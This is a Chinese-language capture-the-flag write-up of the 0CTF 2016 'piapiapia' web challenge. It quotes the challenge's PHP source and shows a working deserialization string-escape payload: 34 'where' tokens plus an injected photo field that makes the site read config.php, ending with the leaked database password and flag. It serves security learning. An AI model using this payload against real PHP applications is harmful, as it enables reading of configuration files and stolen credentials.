[0CTF 2016]piapiapia (反序列)
先找到register.php注册一个账号,然后登陆,就会跳转到profile.php,用dirsearch扫扫,扫到了www.zip
config.php
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?>
显然这里有flag,但是没有出来
然后在profile.php里存在反序列
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?>
可以看到photo里的文件经过file_get_contents()处理,所以可以在这个读取config.php的flag
登录和注册不看,从update开始
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?>
这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。用文章开头的知识点二,如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。
在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试
class.php中看到了定义的update_profile()方法
public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }
filter()
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
update()
public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); }
update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为'hacker'
前面已经知道,我们的目的是要读取config.php从而得到flag,读取config.php需要替换$profile[‘photo’],也就是要让config,php成为序列化的一部分,可以利用的是反序列化字符串逃逸
在后端中,反序列化是以";}结束的,因此如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃
我们考虑怎么让";}s:5:“photo”;s:10:“config.php”;}这34个字符逃逸出来
前面提到Fliter会将where一类的函数替换成hacker,也就是说where在被正则替换后,其本身的长度会加1,如果我们构造34个where
34*5 = 170 170+34个字符=204=len(''hacker")*34
那么在传入后端之后hacker的长度就会将我们目标逃逸字符挤掉
传入: s:8:"nickname";a:1:{i:0;s:204:"34*where";}s:5:"photo";s:10:"config.php";} 此时34*where";}s:5:"photo";s:10:"config.php";}都作为nickname存在 正则替换: s:8:"nickname";a:1:{i:0;s:204:"34*hacker";}s:5:"photo";s:10:"config.php";} 因为s只有204个字符,所以读取第34个hacker之后就停止,34个字符";}s:5:"photo";s:10:"config.php";}不再包含在nickname内
既然从nickname逃逸出,"};
将前面的nickname数组闭合之后,剩下的s:5:"photo";s:10:"config.php";}
就会被当作photo的部分了,至于后面的upload,由于被后面";}
结束反序列化,也就被丢弃,这样就实现了config.php的读取
然后看源码,解码后
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = 'qwertyuiop'; $config['database'] = 'challenges'; $flag = 'flag{dbb6277a-e7d7-4fed-a249-07c4cdaf19aa}'; ?>